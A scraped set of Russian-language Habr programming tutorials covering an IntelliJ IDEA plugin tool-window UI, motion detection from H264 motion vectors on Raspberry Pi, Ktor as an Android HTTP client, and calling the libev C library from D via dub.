Сейчас большинство менеджеров *Git*-репозиториев реализуют поддержку *Rebase Flow* в каком-то виде. И удобство работы в них сейчас на порядок выше, чем несколько лет назад. Но всё-таки, на мой взгляд, минусы пока есть у всех продуктов, и я продолжаю верить, что в будущем они их исправят. | https://habr.com/ru/post/283326/ | null | ru | null |
# Делаем UI плагина в IntelliJ Idea «как у maven'a»
Предыстория
===========
Встала задача создать для разработчиков и QA удобный способ стартовать порядка 20 серверных приложений, живущих в общем репозитрии (Spring с XML конфигурацией и общим для все частей приложения бутстрап классом).
Как сделать нечто удобное человеку, который последний раз GUI рисовал в Borland Delphi 6.0? Взять что-то уже готовое и приспособить для своих нужд, ну и раз уж будущие пользователи работают в IntelliJ Idea, появилась мысль соорудить плагин, который будет выглядеть и вести себя так, как это делает Maven Integration Plugin.
Под катом классы и некоторые утилитарные методы, которые помогут это сделать.
Пара слов о документации
========================
Документацию по плагинам для Idea можно найти [тут](http://www.jetbrains.org/intellij/sdk/docs/index.html) или в серии статей на [хабре](https://habrahabr.ru/post/187106/).
Единственная проблема этой документации в том, что про UI там нет почти ничего, к счастью, есть [код](https://github.com/JetBrains/intellij-community), а это ведь лучше любой документации! ~~(особенно если у тебя первый разряд по совковой лопате)~~
Нас, разумеется, интересует папка **plugins/maven**.
Tips and tricks
===============
Tool Window
-----------
Чтобы добавить свое Tool Window документация [предлагает](http://www.jetbrains.org/intellij/sdk/docs/user_interface_components/tool_windows.html) использовать plugin.xml. Но если нужно, например, контролировать время инициализации окна, то придется все это делать вручную:
```
private void initToolWindow() {
final ToolWindowManagerEx manager = ToolWindowManagerEx.getInstanceEx(myProject);
ToolWindowEx myToolWindow = (ToolWindowEx) manager.registerToolWindow(HolyProjectPanel.ID, false, ToolWindowAnchor.RIGHT, myProject, true);
myToolWindow.setIcon(IconLoader.findIcon("/icons/jesterhat.png"));
final ContentFactory contentFactory = ServiceManager.getService(ContentFactory.class);
final Content content = contentFactory.createContent(panel, "", false);
ContentManager contentManager = myToolWindow.getContentManager();
contentManager.addContent(content);
}
```
### Как дождаться, пока Idea полностью инициализирует проект?
Ничего сложного, если найти пример кода:
```
public static void runWhenInitialized(final Project project, final Runnable r) {
if (project.isDisposed()) return;
if (!project.isInitialized()) {
StartupManager.getInstance(project).registerPostStartupActivity(DisposeAwareRunnable.create(r, project));
return;
}
runDumbAware(project, r);
}
public static void runDumbAware(final Project project, final Runnable r) {
if (DumbService.isDumbAware(r)) {
r.run();
}
else {
DumbService.getInstance(project).runWhenSmart(DisposeAwareRunnable.create(r, project));
}
}
```
Как вырастить дерево
--------------------
Перед тем, как выращивать дерево, нужно понять где это делать. Ответ очевиден: JPanel (упомянутый выше HolyProjectPanel является подклассом SimpleToolWindowPanel, который наследует от JPanel ~~(яйцо в утке, утка в зайце, заяц в шоке)~~.
Создаем объект JTree и сохраняем его как контент.
UI Maven plugin'a построено на классе SimpleTree, использование его ничем не отличается от JTree, однако оно добавляет полезные фичи, например, поиск на лету:
### Как наполнить дерево
Наполнение предлагается делать с помощью SimpleTreeBuilder:
```
SimpleTreeBuilder myTreeBuilder = new SimpleTreeBuilder(tree, (DefaultTreeModel) tree.getModel(), this, null)
Disposer.register(project, myTreeBuilder);
myTreeBuilder.initRoot();
myTreeBuilder.expand(myRoot, null);
```
Кроме всего прочего, он позволяет сортировать узлы, достаточно просто передать Comparator как последний аргумент конструктора.
Также, часто полезно обновить все узлы, начиная с данного:
```
myTreeBuilder.addSubtreeToUpdate(node)
```
### Чем наполнить дерево
По аналогии с SimpleTree и SimpleTreeBuilder будем использовать SimpleNode. Класс этот прост, как три копейки. Всего один метод getChildren, который нужно реализовать и который вызывается каждый раз, когда надо отрисовать узел (при открытии всего окна или при разворачивании поддерева), и несколько доступных полей с очевидными названиями, которые легко найти автодополнением (myName, myClosedIcon и так далее).
Эта кажущаяся простота кончается, когда начинаешь вглядываться в детали.
### Как написать название узла разными цветами
Класс SimpleNode отрисовывается с помощью объектов класса PresentationData. его и надо использовать:
```
private void updatePresentation() {
PresentationData presentation = getPresentation();
presentation.clear();
presentation.addText(myName, SimpleTextAttributes.REGULAR_ATTRIBUTES);
presentation.addText(" Red", new SimpleTextAttributes(Font.PLAIN, Color.RED));
presentation.addText(" Level2Node", SimpleTextAttributes.GRAYED_BOLD_ATTRIBUTES);
}
```
Кроме прочего, этот же объект надо использовать, чтобы перерисовать узел:
```
@Override
public void handleDoubleClickOrEnter(SimpleTree tree, InputEvent inputEvent) {
if(Color.RED.equals(myColor)){
myColor = Color.BLUE;
} else {
myColor = Color.RED;
}
updatePresentation();
}
private void updatePresentation() {
PresentationData presentation = getPresentation();
presentation.clear();
presentation.addText(myName, SimpleTextAttributes.REGULAR_ATTRIBUTES);
presentation.addText(" Red", new SimpleTextAttributes(Font.PLAIN, myColor));
presentation.addText(" Level2Node", SimpleTextAttributes.GRAYED_BOLD_ATTRIBUTES);
}
```
Почему дерево сворачиватся каждый раз, когда я закрываю и открываю панель?
--------------------------------------------------------------------------
Это происходит потому, что все узлы, кроме корневого, на самом деле создаются заново. Чтобы избежать этого используйте класс CachingSimpleNode вместо SimpleNode (Он так же имеет единственный метод, который необходимо реализовать: buildChildren()).
Чтобы вручную перерисовать CachingSimpleNode необходимо вызвать на нем метод update() или update(PresentationData).
Как добавить кнопки над деревом
-------------------------------
Способ добавления кнопок показался мне не вполне очевидным (если создаешь само ToolsWindow в коде — тем более). Они добавляются в файле plugin.xml в разделе Actions, там же настраиваются названия, иконки, тултипы и все остальное.
```
```
**Чтобы добавить Enabled/Disabled кнопку, как "Toggle 'Skip Tests' Mode" необходимо использовать ToggleAction вместо AnAction**
Как вызвать какое-то действие в UI Thread из другого потока
-----------------------------------------------------------
Это не относится напрямую к разработке панели, но слишком часто возникает необходимость вызвать действие, которое должно выполняться в UI потоке, откуда-то еще. Для этого есть метод:
```
AppUIUtil.invokeOnEdt(() -> {/*do smth useful*/});
```
Вот и все, чем я хотел поделиться, пример плагина есть у меня на [гитхабе](https://github.com/Trans00/HolyProcessIdeaPlugin).
Удачи! | https://habr.com/ru/post/281851/ | null | ru | null |
# Детекция изменений в сцене и сохранение видеофрагментов в формате h264 на Raspberry Pi без декодирования
Добрый день. В этой статье я расскажу, далеко не в [первый](https://habr.com/ru/post/424191/) раз, как на Raspberry Pi 3 и более слабых платформах одновременно детектировать движение и сохранять/транслировать видео в формате H264. Я поделюсь с такими же новичками в мире Raspberry Pi, как и я, о том, что узнал сам за несколько дней, пока разбирался в способах решения задачи. Говорить буду о работе с камерой Raspberry Pi простым человеческим языком.
Я рассмотрю простую задачу "Требуется захватывать с CSI-камеры Raspberry Pi v.1.3 или 2.1 видео разрешением 720p @ 25 FPS, нарезать его в файлы продолжительностью 1 минуту в формате h264, чтобы затем выгружать на удаленный сервер те, в которых обнаружено изменение сцены".
Чтобы не обременять деталями, за которыми ускользнет понимание основных вещей, код буду предоставлять в минимальном виде.
> Для продвинутых пользователей, наверняка более полезно будет прочитать [статью](https://habr.com/ru/post/424191/), однако, если Вы (как и я) в вопросе не очень разбираетесь, лучше начать с этой, где описаны основы подхода.
Большинство статей о работе с камерой RPi, которые вы найдете в интернете, будут использовать OpenCV, если речь идет о том, чтобы что-то в сцене обнаруживать и менять, либо ffmpeg, если требуется делать что-то с видео.
Поскольку я двигался со стороны OpenCV, то я попал в следующую ловушку, которая характеризуется следующей отправной точкой мыслительного процесса: "камера вещает в RGB/MJPEG, как-то из этого надо сделать H264 и положить в MP4...".
Начните читать про камеру Raspberry Pi вот [здесь](https://www.raspberrypi.org/documentation/raspbian/applications/camera.md), прежде чем вообще что-то делать, потому что все datasheets-ы от продавцов камер (включая Амперку), которые будут подсовывать вам поисковые системы — это не то пальто, ничего полезного в них нет.
> Да, у камеры Raspberry Pi уже есть объектив. Трудно найти информацию о том, какое фокусное расстояние, но я предполагаю, что оно находится в районе 2.8-3.2 мм. Мой коллега распечатал корпус, который можно использовать как для стандартного объектива, так и прилепить любой CS-mount с переменным фокусом, а еще у этого корпуса есть насадка для штатива. Если кому-то надо файл для печати на 3d-принтере, обращайтесь — предоставлю без проблем, на Thingverse не выкладывали.
Не пытайтесь на Raspberry 3 и более слабых платформах кодировать/декодировать видео — они слишком слабы для этого. Не получится выполнить FullHD кодирование даже с [OpenMAX](https://habr.com/ru/company/intel/blog/207314/).
Для меня следующая мысль была ~~совсем не очевидна~~ откровением: **можно с камеры Raspberry Pi брать видео-поток уже кодированный в H264 и просто сохранять его в видео-файл**.
В случае FFmpeg это выглядит так:
```
#!/bin/bash
SS=$1
FPS=$2
WIDTH=1600
HEIGHT=1200
while :
do
ffmpeg -f video4linux2 -input_format h264 -video_size ${WIDTH}x${HEIGHT} \
-framerate $FPS -i /dev/video0 -vcodec copy -map 0 \
-segment_time $SS -f segment \
-strftime 1 -reset_timestamps 1 \
-segment_format mp4 /video/file_%s.mp4
done
```
Этот код сохраняет куски продолжительностью `$SS` и с FPS равным `$FPS` в файлы, с именем unix-timestamp. При этом **не выполняется никакого перекодирования**, только упаковка в MP4. Загрузка CPU в этом случае будет единицы процентов. Далее, эти файлы можно загрузить на FTP.
> На камере v2.1 не стоит использовать разрешение 1080p — получите очень странную картинку с обрезкой границ (очень узкий FOV). Используйте разрешение 1600x1200 — это дает прекрасный результат на том же FPS. Кроме этого, файлы, которые будут генерироваться ffmpeg или raspivid (см. далее) будут непропорционально большими. Это особенность [реализации](https://www.raspberrypi.org/forums/viewtopic.php?t=197585) данной камеры.
> Если хотите работать с бОльшими разрешениями, то, вероятно, потребуется увеличить RAM у GPU Raspberry Pi, иначе словите что-то [подобное](https://github.com/raspberrypi/linux/issues/3467#issuecomment-619693025) — я словил.
Если вы берете фрагмент в формате H264, само собой, вы не можете с ним работать без декодирования. В связи с этим многие рецепты как определить наличие движения в сцене сразу перестают быть доступными: **не получится на Raspberry Pi 3 одновременно декодировать FullHD поток и определять в нем движение средствами OpenCV в реальном времени, даже просто поток 1280x720 @ 30 FPS декодировать не получится в реальном времени**.
Как же тогда осуществлять детекцию движения и одновременно работать с H264? Способ есть — обработка векторов движения H264.
Камера Raspberry Pi умеет возвращать еще и так называемые векторы движения (motion vectors) для потока H264. Эта структура используется кодеком. Однако, она может использоваться и нами для определения присутствия движения в сцене.
Вот в этом [примере](https://github.com/raspberrypi/userland/blob/master/host_applications/linux/apps/raspicam/imv_examples/imv2txt.c) из репозитория Raspberry Pi вы можете увидеть, что MV определен как:
```
typedef struct
{
signed char x_vector;
signed char y_vector;
short sad;
} INLINE_MOTION_VECTOR;
```
где {x,y}\_vector — векторы движения в определенном месте кадра, а `sad` — предположительно вот [это](https://en.wikipedia.org/wiki/Sum_of_absolute_transformed_differences). И sad и vectors могут использоваться для оценки движения в кадре. У меня не дошли руки до sad, я использовал motion vectors.
С помощью FFmpeg добраться до motion vectors не получится, поэтому будем использовать родную утилиту Raspivid:
```
#!/bin/bash
SS=$1
FPS=$2
W=1600
H=1200
while :
do
raspivid -pts -stm -w $W -h $H -fps $FPS -t 0 \
-sn $(date +%s) -sg $(($SS*1000)) \
-o /video/video_%d.h264 -x /video/mv_%d.txt
done
```
> имя файла, генерируемое raspivid просто увеличивается на +1, то есть, вы не можете использовать timestamp, поэтому придется делать постпроцессинг на основании данных stat о созданном файле.
Эта утилита может использоваться и как источник для FFmpeg и для CVLC, если вы хотете сделать RTSP трансляцию. Вообще, она умеет делать много что хорошего — в частности сохранять motion vectors в файл.
Обратите внимание, если у вас видео "мигает", вероятно, неправильно настроена компенсация частоты мигания лампочек, которая связана с частотой тока электросети. Особо видно это на низкокачественных лампах дневного света. Установка **FPS=25 (вместо 30)** вкупе с встроенным механизмом подавления мигания, который имеет камера, для нашей электросети 50Hz дает лучший результат, без мигания.
> Мигающее видео — это проблема, которая не только визуально ухудшает видео, но и найдет свое отражение в матрице MV, создав кучу векторов, которые ничего кроме шума не представляют. Очень важно решить проблему с миганием. Еще, видео с миганием будет занимать значительно больше места на диске для неподвижных сцен, чем немигающее.
Итак, вышеприведенный фрагмент кода, будучи запущенным на RPi будет создавать два набора файлов — один набор с H264 видео, второй набор с матрицами MV.
Видео, в файлах \*.h264 — это сырой поток H264, а не MP4, вы можете проиграть их с помощью VLC, но эти файлы будут проигрываться некорректно, например, ускоренно. В документации по Raspberry Pi предлагается установить gpac:
```
sudo apt install -y gpac
```
и упаковывать h264 в mp4 с помощью следующей команды:
```
time MP4Box -add /video/video_1588645858.h264 /video/video_1588645858.mp4
AVC-H264 import - frame size 1280 x 720 at 25.000 FPS
AVC Import results: 1560 samples - Slices: 26 I 1534 P 0 B - 0 SEI - 26 IDR
Saving to /video/video_1588645858.mp4: 0.500 secs Interleaving
real 0m11.164s
user 0m0.548s
sys 0m0.469s
```
Минутный фрагмент упаковывается за 11 секунд на Raspberry Pi 3, то есть подходит для использования.
Для работы с MV можно отправной точкой взять следующий тривиальный код:
```
import os
import sys
import struct
import numpy as np
resolution = [1280, 720]
framelength = int(((resolution[0] + 16) / 16) * (resolution[1] / 16) * 4)
framedata = []
cnt = 0
while True:
data = sys.stdin.read(framelength)
if data == '':
break
cnt += 1
framedata = struct.unpack('>%db' % framelength, data)
vectors = np.reshape(framedata[:(resolution[1]/16 * (resolution[0]/16 + 1) * 4)], (resolution[1]/16, resolution[0]/16 + 1, 4)).astype(np.float32)
vectors = np.multiply(vectors[:, :, 0:1], vectors[:, :, 0:1])
print int(np.sum(vectors))
```
Он выполнен на [примере](https://github.com/raspberrypi/userland/blob/master/host_applications/linux/apps/raspicam/imv_examples/imv2txt.c) кода на C, приведенного ранее.
```
time $(cat /video/mv_1588645871.txt| python proc.py > /dev/null)
real 0m26.288s
user 0m25.005s
sys 0m0.583s
```
Этот код работает быстро, поскольку вся логика внутри NumPy (то есть на C), но его можно еще ускорить, если обрабатывать, например, 50% кадров, а не все. Есть риск пропустить MV, но движение как правило занимает несколько фреймов, поэтому не страшно.
Гистограмма видео с изменениями в сцене выглядит так, как представлено на следующем изображении:
Помните, что изменения в сцене, это не обязательно движение — выключение или включение света в помещении даст эффект изменения в сцене. В случае инструмента для отбора фрагментов для загрузки — это не проблема. В других случаях может потребоваться существенное усложнение подхода к анализу векторов для отсечения ложных срабатываний.
Определить изменение в сцене можно с помощью следующего скрипта:
```
cat /video/mv_1588645871.txt | python proc.py | awk '{ if ($1 > 0) print "motion" }' | grep motion > /dev/null
echo $?
0
```
Возможно, для вашей окружающей среды порог срабатывания потребуется **загрубить**. Если изменение среды обнаружено, можете загружать файл на FTP, иначе можно просто удалить.
Таким образом, вот и вся наука для работы с кодированным видео и определением "движения в сцене" без декодирования, которую необходимо знать для того, чтобы выполнять все операции на Raspberry Pi без перегрузки ресурсов платформы.
Если вам требуется определять не просто изменение в кадре, но и области движения, вы можете анализировать области матрицы, в которых MV не нулевые. Еще можно обратиться к [материалу](https://medium.com/@theoremco/motion-detection-with-raspberry-pi-e46f4e3cd9a6) на Medium, где авторы используют MV из Python.
Статья может показаться банальной для профессионалов, но мне пришлось потратить существенное время для того, чтобы разобраться с этими вещами. Надеюсь, что новичкам, начинающим работать с видео на платформе Raspberry Pi это будет полезным. | https://habr.com/ru/post/500462/ | null | ru | null |
# Ktor как HTTP клиент для Android
Retrofit2 мне, как Android разработчику, нравится, но как на счет того, чтобы попробовать к качестве HTTP клиента Ktor? На мой взгляд, для Android разработки он не хуже и не лучше, просто один из вариантов, хотя если всё немного обернуть, то может получиться очень неплохо. Я рассмотрю базовые возможности с которыми можно будет начать пользоваться Ktor как HTTP клиентом — это создание запросов разных видов, получение raw ответов и ответов в виде текста, десериализация json в классы через конвертеры, логирование.
Если в общем, то Ktor — это фреймворк, который может выступать в роли HTTP клиента. Я рассмотрю его со стороны разработки под Android. Вряд ли вы увидите ниже очень сложные кейсы использования, но базовые возможности точно. Код из примеров ниже можно посмотреть на [GitHub](https://github.com/tehreh1uneh/KtorTest).
Ktor использует корутины из Kotlin 1.3, список доступных артефактов можно найти [здесь](https://ktor.io/quickstart/artifacts.html), текущая версия — `1.0.1`.
Для запросов я буду использовать [HttpBin](http://httpbin.org).
#### Простое использование
Для начала работы понадобятся базовые зависимости для Android клиента:
```
implementation "io.ktor:ktor-client-core:1.0.1"
implementation "io.ktor:ktor-client-android:1.0.1"
```
Не забываем в Manifest добавить информацию о том, что вы используете интернет.
```
```
Попробуем получить ответ сервера в виде строки, что может быть проще?
```
private const val BASE_URL = "https://httpbin.org"
private const val GET_UUID = "$BASE_URL/uuid"
fun simpleCase() {
val client = HttpClient()
GlobalScope.launch(Dispatchers.IO) {
val data = client.get(GET\_UUID)
Log.i("$BASE\_TAG Simple case ", data)
}
}
```
Создать клиент можно без параметров, просто создаем экземпляр `HttpClient()`. В этом случае Ktor сам выберет нужный движок и использует его с настройками по-умолчанию (движок у нас подключен один — Android, но существуют и другие, например, OkHttp).
Почему корутины? Потому что `get()` — это `suspend` функция.
Что можно сделать дальше? У вас уже есть данные с сервера в виде строки, достаточно их распарсить и получить классы, с которыми уже можно работать. Вроде бы просто и быстро при таком случае использования.
#### Получаем сырой ответ
Иногда бывает нужно и набор байт получить вместо строки. Заодно поэкспериментируем с асинхронностью.
```
fun performAllCases() {
GlobalScope.launch(Dispatchers.IO) {
simpleCase()
bytesCase()
}
}
suspend fun simpleCase() {
val client = HttpClient()
val data = client.get(GET\_UUID)
Log.i("$BASE\_TAG Simple case", data)
}
suspend fun bytesCase() {
val client = HttpClient()
val data = client.call(GET\_UUID).response.readBytes()
Log.i("$BASE\_TAG Bytes case", data.joinToString(" ", "[", "]") { it.toString(16).toUpperCase() })
}
```
В местах вызова методов `HttpClient`, таких как `call()` и `get()`, под капотом будет вызываться `await()`. Значит в данном случае вызовы `simpleCase()` и `bytesCase()` всегда будут последовательны. Нужно параллельно — просто оберните каждый вызов в отдельную корутину. В этом примере появились новые методы. Вызов `call(GET_UUID)` вернет нам объект, из которого мы можем получить информацию о запросе, его конфигурации, ответе и о клиенте. Объект содержит в себе много полезной информации — от кода ответа и версии протокола до канала с теми самыми байтами.
#### А закрывать как-то нужно?
Разработчики указывают, что для корректного завершения работы HTTP движка нужно вызвать у клиента метод `close()`. Если же вам нужно сделать один вызов и сразу закрыть клиент, то можно использовать метод `use{}`, так как `HttpClient` реализует интерфейс `Closable`.
```
suspend fun closableSimpleCase() {
HttpClient().use {
val data: String = it.get(GET_UUID)
Log.i("$BASE_TAG Closable case", data)
}
}
```
#### Примеры помимо GET
В моей работе второй по популярности метод — `POST`. Рассмотрим на его примере установку параметров, заголовков и тела запроса.
```
suspend fun postHeadersCase(client: HttpClient) {
val data: String = client.post(POST_TEST) {
fillHeadersCaseParameters()
}
Log.i("$BASE_TAG Post case", data)
}
private fun HttpRequestBuilder.fillHeadersCaseParameters() {
parameter("name", "Andrei") // + параметр в строку запроса
url.parameters.appendAll(
parametersOf(
"ducks" to listOf("White duck", "Grey duck"), // + список параметров в строку запроса
"fish" to listOf("Goldfish") // + параметр в строку запроса
)
)
header("Ktor", "https://ktor.io") // + заголовок
headers /* получаем доступ к билдеру списка заголовков */ {
append("Kotlin", "https://kotl.in")
}
headers.append("Planet", "Mars") // + заголовок
headers.appendMissing("Planet", listOf("Mars", "Earth")) // + только новые заголовки, "Mars" будет пропущен
headers.appendAll("Pilot", listOf("Starman")) // ещё вариант добавления заголовка
body = FormDataContent( // создаем параметры, которые будут переданы в form
Parameters.build {
append("Low-level", "C")
append("High-level", "Java")
}
)
}
```
Фактически, в последнем параметре функции `post()` у вас есть доступ к `HttpRequestBuilder`, с помощью которого можно сформировать любой запрос.
Метод `post()` просто парсит строку, преобразует её в URL, явно задает тип метода и делает запрос.
```
suspend fun rawPostHeadersCase(client: HttpClient) {
val data: String = client.call {
url.takeFrom(POST_TEST)
method = HttpMethod.Post
fillHeadersCaseParameters()
}
.response
.readText()
Log.i("$BASE_TAG Raw post case", data)
}
```
Если выполнить код из двух последних методов, то результат будет аналогичный. Разница не велика, но пользоваться обертками удобнее. Ситуация аналогичная для `put()`, `delete()`, `patch()`, `head()` и `options()`, поэтому их рассматривать не будем.
Однако, если присмотреться, то можно заметить, что разница есть в типизации. При вызове `call()` вы получаете низкоуровневый ответ и сами должны считывать данные, но как же быть с автоматической типизацией? Ведь все мы привыкли в Retrofit2 подключить конвертер (типа `Gson`) и указывать возвращаемый тип в виде конкретного класса. О конвертации в классы мы поговорим позже, а вот типизировать результат без привязки к конкретному HTTP методу поможет метод `request`.
```
suspend fun typedRawPostHeadersCase(client: HttpClient) {
val data = client.request() {
url.takeFrom(POST\_TEST)
method = HttpMethod.Post
fillHeadersCaseParameters()
}
Log.i("$BASE\_TAG Typed raw post", data)
}
```
#### Отправляем form данные
Обычно нужно передавать параметры либо в строке запроса, либо в теле. Мы в примере выше уже рассматривали как это сделать с помощью `HttpRequestBuilder`. Но можно проще.
Функция `submitForm` принимает url в виде строки, параметры для запроса и булевый флаг, который говорит о том как передавать параметры — в строке запроса или как пары в form.
```
suspend fun submitFormCase(client: HttpClient) {
val params = Parameters.build {
append("Star", "Sun")
append("Planet", "Mercury")
}
val getData: String = client.submitForm(GET_TEST, params, encodeInQuery = true) // параметры в строке запроса
val postData: String = client.submitForm(POST_TEST, params, encodeInQuery = false) // параметры в form
Log.i("$BASE_TAG Submit form get", getData)
Log.i("$BASE_TAG Submit form post", postData)
}
```
#### А как быть с multipart/form-data?
Помимо строковых пар можно передать как параметры POST запроса числа, массивы байт и разные Input потоки. Отличия в функции и формировании параметров. Смотрим как:
```
suspend fun submitFormBinaryCase(client: HttpClient) {
val inputStream = ByteArrayInputStream(byteArrayOf(77, 78, 79))
val formData = formData {
append("String value", "My name is") // строковый параметр
append("Number value", 179) // числовой
append("Bytes value", byteArrayOf(12, 74, 98)) // набор байт
append("Input value", inputStream.asInput(), headersOf("Stream header", "Stream header value")) // поток и заголовки
}
val data: String = client.submitFormWithBinaryData(POST_TEST, formData)
Log.i("$BASE_TAG Submit binary case", data)
}
```
Как вы могли заметить — можно ещё к каждому параметру набор заголовков прицепить.
#### Десериализуем ответ в класс
Нужно получить какие-то данные из запроса не в виде строки или байт, а сразу преобразованные в класс. Для начала в документации нам рекомендуют подключить фичу работы с json, но хочу оговориться, что для jvm нужна специфическая зависимость и без kotlinx-serialization всё это не взлетит. В качестве конвертера предлагаю использовать Gson (ссылки на другие поддерживаемые библиотеки есть в документации, ссылки на документацию будут в конце статьи).
build.gradle уровня проекта:
```
buildscript {
dependencies {
classpath "org.jetbrains.kotlin:kotlin-serialization:$kotlin_version"
}
}
allprojects {
repositories {
maven { url "https://kotlin.bintray.com/kotlinx" }
}
}
```
build.gradle уровня приложения:
```
apply plugin: 'kotlinx-serialization'
dependencies {
implementation "io.ktor:ktor-client-json-jvm:1.0.1"
implementation "io.ktor:ktor-client-gson:1.0.1"
}
```
А теперь выполним запрос. Из нового будет только подключение фичи работы с Json при создании клиента. Использовать буду открытый погодный API. Для полноты покажу модель данных.
```
data class Weather(
val consolidated_weather: List,
val time: String,
val sun\_rise: String,
val sun\_set: String,
val timezone\_name: String,
val parent: Parent,
val sources: List,
val title: String,
val location\_type: String,
val woeid: Int,
val latt\_long: String,
val timezone: String
)
data class Source(
val title: String,
val slug: String,
val url: String,
val crawl\_rate: Int
)
data class ConsolidatedWeather(
val id: Long,
val weather\_state\_name: String,
val weather\_state\_abbr: String,
val wind\_direction\_compass: String,
val created: String,
val applicable\_date: String,
val min\_temp: Double,
val max\_temp: Double,
val the\_temp: Double,
val wind\_speed: Double,
val wind\_direction: Double,
val air\_pressure: Double,
val humidity: Int,
val visibility: Double,
val predictability: Int
)
data class Parent(
val title: String,
val location\_type: String,
val woeid: Int,
val latt\_long: String
)
private const val SF\_WEATHER\_URL = "https://www.metaweather.com/api/location/2487956/"
suspend fun getAndPrintWeather() {
val client = HttpClient(Android) {
install(JsonFeature) {
serializer = GsonSerializer()
}
}
val weather: Weather = client.get(SF\_WEATHER\_URL)
Log.i("$BASE\_TAG Serialization", weather.toString())
}
```
#### А что еще можно
Например, сервер возвращает ошибку, а код у вас как в предыдущем примере. В таком случае вы получите ошибку сериализации, но можно настроить клиент так, чтобы при коде ответа <300 бросалась ошибка `BadResponseStatus`. Достаточно устаносить при сборке клиента `expectSuccess` в `true`.
```
val client = HttpClient(Android) {
install(JsonFeature) {
serializer = GsonSerializer()
}
expectSuccess = true
}
```
При отладке может оказаться полезным логирование. Достаточно добавить одну зависимость и донастроить клиент.
```
implementation "io.ktor:ktor-client-logging-jvm:1.0.1"
```
```
val client = HttpClient(Android) {
install(Logging) {
logger = Logger.DEFAULT
level = LogLevel.ALL
}
}
```
Указываем DEFAULT логгер и всё будет попадать в LogCat, но можно переопределить интерфейс и сделать свой логгер при желании (хотя больших возможностей я там не увидел, на входе есть только сообщение, а уровня лога нет). Также указываем уровень логов, которые нужно отражать.
Ссылки:
* [Документация](https://ktor.io/)
* [Документация по реализации клиента](https://ktor.io/clients/index.html)
Что не рассмотрено:
* Работа с OkHttp движком
* Настройки движков
* Mock движок и тестирование
* Модуль авторизации
* Отдельные фичи типа хранения cookies между запросами и др.
* Всё что не относится к HTTP клиенту для Android (другие платформы, работа через сокеты, реализация сервера и т.п. | https://habr.com/ru/post/432310/ | null | ru | null |
# Использование в языке D сторонних библиотек
На волне интереса к языку D решил и я внести свой вклад в его популяризацию. Статья не для новичков, а больше для тех кто рассматривает D как второй язык. Известно, что на заре своего развития, языки программирования имеют небогатый набор библиотек и это часто не позволяет начинать писать на них что-то серьёзное. Надеюсь статья поможет кому-нибудь переступить этот барьер.
Ниже будут рассмотрены возможности утилиты dub, а так же подключение сторонних пакетов и библиотек написанных на C/C++ на примере замечательной библиотеки [libev](http://software.schmorp.de/pkg/libev.html).
#### Утилита dub
Честно говоря, я до сих пор “плаваю” в опциях [dmd](http://dlang.org/download.html), необходимых для компиляции и сборки приложения. Виной тому утилита [dub](http://code.dlang.org/about), которая берет на себя все эти заботы и позволяет отложить изучение нюансов компиляции и сборки приложения на потом, когда это действительно станет необходимо. Кроме этого, эта полезная программка выполняет функции пакетного менеджера, обладая функционалом, аналогичным утилитам pip для python, npm для javascript и т.п.
#### Инициализация проекта
Для инициализации приложения с помощью утилиты **dub** надо создать каталог проекта, перейти в него и выполнить команду:
```
$ dub init
```
В результате будет создан файл **dub.json**, с помощью которого задается конфигурация и параметры сборки приложения. А также, подкаталог **source**, содержащий файл **app.d** с незамысловатым хелоуворлдом.
Сборка и/или запуск приложения производится этой же утилитой, запускаемой из корневого каталога проекта, то есть из каталога, содержащего файл `dub.json`. Чтобы скомпилировать, собрать и запустить хелоуворлд из файла `app.d`, достаточно выполнить команду `dub`.
#### Подключение сторонних пакетов (библиотек)
В терминах языка, библиотеки сторонних разработчиков на D, распространяемые в виде исходных кодов, называются пакеты. Утилита `dub` использует реестр пакетов, находящийся по [следующему адресу](http://code.dlang.org/). Использование библиотек, написанных с помощью C/C++ также возможно, но для этого необходимо подключение в проект специальных пакетов, называемых **binding**. Сама же библиотека должна быть установлена в системе. Например, **libev**, которая дальше будет задействована, устанавливается в debian подобных дистрибутивах linux следующим образом:
```
$ sudo apt-get install libev-dev
```
Для использования её в проекте на D нужен биндинг, который добрый человек уже [сделал и разместил](http://code.dlang.org/packages/libev) в выше названном реестре. Там же есть инструкция, какие изменения нужно внести в файл `dub.json` для использования `libev` в проекте. Все сводится к добавлению в раздел **dependencies** файла `dub.json` имени пакета, версии и, по необходимости, некоторых других параметров.
При следующем выполнении команды `dub`, все перечисленные в dependencies пакеты будут проверены и подгружены в случае их отсутствия.
#### Хелоуворлд с использованием libev
После выше описанных манипуляций проект готов к использованию фичей из `libev`. Ниже приведен код, который следует поместить в файл `app.d`, и если все прошло гладко, получим исполняемый файл, который будет радовать раз в секунду сообщением “Hello, World!” в консоле.
```
import std.stdio;
import deimos.ev;
void main()
{
ev_timer watcher;
extern(C) void cb_timer(ev_loop_t* loop, ev_timer* watcher, int revents) {
writeln("Hello, World!");
}
auto p_loop = ev_loop_new(EVFLAG_AUTO);
ev_timer_init(&watcher, &cb_timer, 1.0, 1.0);
ev_timer_start(p_loop, &watcher);
ev_run(p_loop, 0);
}
```
Что тут стоит отметить в плане использования сторонних библиотек в программах на D?
Во-первых, во второй строке подключается пакет-биндинг к `libev`. Во-вторых, функция обратного вызова `cb_timer` определена как `extern(C)`. Фактически её вызов будет происходить из недр подключенной библиотеки, а она у нас написана на С. Следовательно, [соглашение о вызове](http://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%B3%D0%BB%D0%B0%D1%88%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BE_%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2%D0%B5) `cb_timer` должно соответствовать вызову функций написанных на С.
Что можно сказать в целом, глядя на код? Не считая фичи языка D, позволившей определить `cb_timer` в теле функции `main`, код мало отличается от аналогичной программы на C. Это связано с тем, что пакеты-биндинги обычно содержат минимальную обвязку над вызовами функций из сишных библиотек. Часто для удобства делается еще один уровень обвязки, который предоставляет более читаемый код с использованием “синтаксического сахара” языка D. Например, аналогичный код мог бы выглядеть как-то так.
```
import std.stdio;
import mercury.core;
void main()
{
new TimerWatcher(1.0, 1.0, (revents) {
writeln("Hello, World!");
}).start();
defaultEventLoop.start();
}
```
Кстати, код приведенный выше — реально существующий. Я попробовал сделать высокоуровневую обертку над `libev`, используя параметризованный класс для вотчеров. Получилось вроде неплохо. Если это будет кому-то интересно — в следующей статье расскажу об этом.
**Upd:** По использованию `dub` здесь есть [неплохая статья](http://habrahabr.ru/post/218125/), автор достаточно подробно описал основные возможности утилиты.
PS: Неплохо бы было уже сделать подсветку синтаксиса D в редакторе хабратопиков. | https://habr.com/ru/post/226301/ | null | ru | null |
